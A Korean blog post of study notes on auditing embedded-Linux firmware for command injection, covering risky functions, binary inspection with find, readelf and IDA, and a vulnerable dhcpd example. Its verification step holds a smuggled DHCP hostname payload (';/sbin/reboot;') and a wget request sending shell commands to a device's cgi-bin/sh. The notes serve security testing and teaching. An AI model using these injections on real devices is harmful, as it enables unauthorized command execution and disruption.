커맨드 인젝션 취약점
- OWASP : https://www.owasp.org/index.php/Command_Injection
<커맨드 인젝션 취약점에 노출될 가능성이 있는 함수>
시스템 함수의 사용을 권고하지 않음 (제약해야함)
- open() / seek() / write() / close()
- system ()
- exec(), execlv(), execve() 등 exec 계열 함수
* 임베디드 리눅스 환경이라 가정
1) 커맨드 인젝션 취약점에 노출될 가능성이 있는 함수 를 사용하는 프로그램 탐지/식별
- How To?
- $ find . -type f -executable
- (OR) $find . -type f perm
- (1) 함수 이름과 같은 문자열을 포함하고 있는 실행파일 식별
- $ find (PATH) -type f -executable -exec grep system {} \;
- (2) 함수를 사용하는지 확인
- $ readelf -s (FileName) | grep system
- (example) $ readelf -s sbin/dhcpd | grep system
- 프로그램 내에 system() 사용하는 흔적이 있는지 찾음
- IDA로 점검 필요
- cf. 파일 형식 및 아키텍쳐 정보 확인: $file sbin/dhcpd
cf. filtering vs. sanitizing
필터링 - 유효하지 않은 인자값 거르기
살균 - 유효하지 않은 인자값을 안전하게 가공
cf. 리눅스 시스템 함수 - 라이브러리 함수, 윈도우 라이브러리 - dll
cf. 리눅스 - ELF
2) 취약한 함수에 전달되는 파라미터 조사
* IDA 함수 윈도우에서 system 함수를 찾아, system함수를 호출하는 지점들을 확인
(실습에서는 sendACK() 함수로 이동)
<점검 항목>
2-1) 명령어 문자열이 동적으로 생성되는가?
2-2) 동적으로 생성되는 명령어 문자열에 사용자 입력값 / 외부입력값이 포함되는가?
* 외부? 다른 프로세스 등 실행중인 프로세스 이외의 것
2-3) 권한 없는 사용자가 입력값을 임의대로 조작할 수 있는가?
2-4) 적절하게 필터링 또는 sanitizing을 수행하는가?
- How to? -- IDA
- example : dhcpd - MIPS Little endian.
- Yes/Yes/Yes ==> 취약한 것으로 판단
$s0 = get_option(&packet, DHCP_HOSTNAME) memset($1, 0x00, 0x18) memcpy($s1, $s0) sprintf($s0, "echo %s %d > /var/hostname", $s1) system($s0) |
- DHCP : Stateless
- Scapy를 활용한 python 진단 코드
3) 취약점 검증
(예 DHCP)
3-1) /etc/dhcp/dhclient.conf 파일 수정
send host-name ";/sbin/reboot;";
3-2) dhcp client 재실행
$ sudo kill -9 $(pidof dhclient)
$ sudo dhclient eth0
cf. 네트워크 인터페이스명은 다를 수 있음
3-3) UART 메시지 확인
3-4) 취약점 확인
$ wget -qO- --post-data="echo -e 'Content-type: text/plain\n';PATH=\$PATH:/sbin ifconfig" http://192.168.0.1/cgi-bin/sh
'NOWS > Security' 카테고리의 다른 글
Firmware 이해하기 (2) IDA (0) | 2017.09.06 |
---|---|
Firmware 이해하기 (1) MIPS 이해하기 (0) | 2017.09.06 |
SSL 프로토콜 (0) | 2016.07.06 |
암호 공격 방식 (0) | 2016.07.06 |
방화벽 (Firewall) : 침입 차단 시스템 (0) | 2016.07.06 |